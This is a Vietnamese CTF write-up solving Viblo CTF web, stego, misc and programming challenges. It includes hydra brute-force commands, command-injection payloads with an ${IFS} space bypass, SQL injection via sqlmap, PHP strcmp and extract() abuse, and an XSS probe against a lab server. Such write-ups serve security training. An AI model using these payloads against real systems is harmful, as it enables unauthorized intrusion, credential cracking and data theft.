Viblo CTF Writeup
Web
Rank E
- Tricky Sneaky Weby - 100đ
- Step 1: Do trong code của level1 có js auto downcase text nhập vào => Tạm tắt JS đi để nhập code
SUN$HELL
- let_go_deper: Turn of wifi =>
Flag{death_is_like_the_wind}
. Tuy nhiên khi nhập flag vào thì lại fail. Check trong html code thì cần phải giải thêm bài ở:/is_this_the_end
- is_this_the_end: Nhập mật khẩu bên dưới là được =))
- Step 1: Do trong code của level1 có js auto downcase text nhập vào => Tạm tắt JS đi để nhập code
- Web11 - 50đ
- Check code js thì mình thấy có đoạn request tới http://172.104.49.143:1313⁄1.php. Reload liên tục trang này thì sẽ thấy 1 ảnh khác có chứa flag.
- Tragic pHp - 150đ
- Check html code thấy có comment của file
index.phps
-> Mình mở file này thì đây đúng là source code. - Đọc source thì ta thấy có 1 lỗi compare, đó là dùng
strcmp
để so sánh 2 strings. Hàm này sẽ return 0 khi so sánh 1 string với array. - Thêm
[]
vào để có thể submit array<input type="text" name="value[]" value="">
, sau đó nhập linh tinh rồi submit sẽ thấy được flag :D
- Check html code thấy có comment của file
- PHP Up Right It - 50đ
- Check tab Network trong Chrome Dev Tools thấy trang này bị redirect liên tục => Ghép phần query params lại sẽ ra Flag :D
Do you know Brute Force - 50đ
- Check html mình thấy có link tới file username, password.
<!-- list username and password: /us3rn4me.txt, /p4ssw0rd.txt -->
- Nhập bừa username = 1, password = 1 để lấy params submit:
username=^USER^&password=^PASS^&sbm=
và error thông báo là:Invalid username or password.
- Mình dùng Hydra để brute force (lưu ý dùng bản >= 9.2 vì có issue với bản 9.1)
hydra -s 1556 -vVf -L /wordlists/viblo-ctf-username.txt -P /wordlists/viblo-ctf-password.txt 172.104.49.143 http-post-form "/login.php:username=^USER^&password=^PASS^&sbm=:F=Invalid username or password."
- Khi chạy thì mình tìm được kết quả:
[1556][http-post-form] host: 172.104.49.143 login: root password: rasengan
. Tuy nhiên khi dùng để login thì ra kết quả:This is not flag: Flag{this_is_not_flag_here}
=)) Mình đoán là có thể username hoặc mật khẩu đã đúng. Test thử thì chỉ cần mật khẩu làrasengan
là sẽ hiển thị thông báoThis is not flag
. (Khi thử nếu bị bắt đợi 5 phút, bạn chỉ cần xóa cookietime=xxx
đi là có thể test tiếp. - Dùng hydra + password
rasengan
+ Failed message mới để lấy flag :D
hydra -s 1556 -vVf -L /wordlists/viblo-ctf-username.txt -p rasengan 172.104.49.143 http-post-form "/login.php:username=^USER^&password=^PASS^&sbm=:F=This is not flag"
- Check html mình thấy có link tới file username, password.
Rank D
- Sun* Service - 200đ
- Đề bài cho 1 ping service. Khi mình mở url, thấy form suggest
Try Google.com
. Nhập thửgoogle.com
rồi submit sẽ thấy output là kết quả của lệnh ping. - Đến đây thì mình nghi nó bị dính Command Line Injection. Nhập thử
;ls
rồi submit thì thấy kết quả trả về có fileindex.php
(ngon). - Để đọc thử nội dung file, mình nhập
;cat index.php
thì chỉ nhận đượcTh1nk mor3 s1mpl3!
. - Search thử 1 lúc thì thấy có bạn hướng dẫn trên Viblo cách bypass without space. Mình thử mấy cách thì thấy nhập
;cat${IFS}index.php
sẽ ăn. Đọc nội dung file này sẽ lấy được Flag :D
- Đề bài cho 1 ping service. Khi mình mở url, thấy form suggest
- It’s OT TIME - 200đ
- Click
View source code
thì thấy có đoạn dùng hàmpreg_replace
để xóa cụm từHomNayOT_EmNhe
ra khỏi string bạn nhập vào. Sau đó check string còn lại, nếu bằngHomNayOT_EmNhe
thì sẽ show flag. - Nhập
?magic_command=HomHomNayOT_EmNheNayOT_EmNhe
vào URL là có thể lấy được Flag :D
- Click
Enough PHP magic - 200đ
- Đầu tiên mình nhập thử “1” vào text field rồi submit thử, kết quả in ra bao gồm cả số mình đã nhập vào (think). Thế là mình thử
<script>alert(1)</script>
rối submit => Có lỗi XSS (ngon) - Xem qua xem lại 1 hồi, mình k biết khai thác lỗi này thế nào =)) thế là đi mò thì ra được trang
/index.phps
(giống với bàiTragic pHp
trên). Source code:
$filename = 'xxxxxxxx.txt'; extract($_GET); if (isset($attempt)) { $combination = trim(file_get_contents($filename)); if ($attempt === $combination) { $flag = file_get_contents('xxxxxxxx.txt'); echo "<p>---"
- Mình không biết code PHP, nhưng nhìn đoạn trên thì cũng hiểu được đại ý logic code. Mình đoán vấn đề nó nằm ở lỗ hổng của hàm
extract
hoặc hàmtrim/get_file_contents
. Search gg tên hàm +php vulnerability
. - Lỗ hổng nằm ở hàm
extract()
, nó có thể override lại biến được khai báo trước đó. (1 bài tương tự). - Giờ chỉ cần truyền vào params dạng:
?attempt=&filename=
- attempt là string rỗng, filename là 1 file không tồn tại là oke, ta lấy được Flag. :D
- Đầu tiên mình nhập thử “1” vào text field rồi submit thử, kết quả in ra bao gồm cả số mình đã nhập vào (think). Thế là mình thử
Login Form - 200đ
- Vào form, check qua html thì k thấy gì đặc biệt. Mình thử nhập
'1 or 1=1
vào cả username + password thì thấy show thông báo:Success! flag is password of user named "flag".
=> Trang bị sql injection. Lấy được DB về và check xem password của userflag
là gì. - Dùng sqlmap để auto detect + dumpdb. Sau 1 hồi mò thì mình tìm được database là
sqliexample
và table làuser
, sau đó lấy ra password của user “flag”
sqlmap -u http://172.104.49.143:1323/ --data="username=flag&password=1&login=" --method POST -D sqliexample --sql-query="SELECT password FROM user WHERE username='flag'"
- Vào form, check qua html thì k thấy gì đặc biệt. Mình thử nhập
Stego
Rank E
- Đen - Lối nhỏ ft. Phương Anh Đào - 50đ
- Thử mở ảnh bằng Text editor xem sao ;)
Misc
Rank E
- Catchphrase - 50đ
- Search google for this image :D
Programming
Rank E
Guessing is not Guessing - 123đ
I have created a number 0 <= x <= 18446744073709551616 can you guess it?
=> Viết 1 chương trình, nhập vào 1 số trong khoảng trên, submit lên server, thử cho tới khi nhận được flag.
require 'socket' client = TCPSocket.new('172.104.49.143', 9234) x = 18446744073709551616 y = 0 puts '> ' + client.recv(2048) puts '> ' + client.recv(2048) while true do temp = (x + y) / 2 client.write(temp) response = client.recv(2048) puts response response.include?('too high') ? x = temp : y = temp break if response.include?('Flag') end client.close
madam - 125đ
- Nhìn đề bài dài thế thôi chứ thực ra là đi tìm 1 chuỗi mà nó đọc xuôi hoặc ngược đều như nhau. Search với từ khóa palindrome. Mình code 1 chương trình để đọc file
password.txt
, rồi tìm pass thỏa mãn điều kiện. - Tuy nhiên khi thử thì không có password nào thỏa mãn =))) Search gg 1 hồi thì nó có cái thuật ngữ subpalindrome. May quá trên stackoverflow có code luôn rồi =))
require 'digest/sha1' def longest_palindrome(string, size) string.size.times do |start| # loop over the size of the string break if start + size > string.size # bounds check reverse = string[start, size].reverse if string.include? reverse #look for palindrome return reverse #return the largest palindrome end end longest_palindrome(string, size - 1) # Palindrome not found, lets look for the next smallest size end passwords = File.read('./password.txt').split("\n") result = [] passwords.each { |password| result << longest_palindrome(password, password.size) } choosen_password = result.max_by(&:length) p "Flag{#{Digest::SHA1.hexdigest(choosen_password)}}"
- Nhìn đề bài dài thế thôi chứ thực ra là đi tìm 1 chuỗi mà nó đọc xuôi hoặc ngược đều như nhau. Search với từ khóa palindrome. Mình code 1 chương trình để đọc file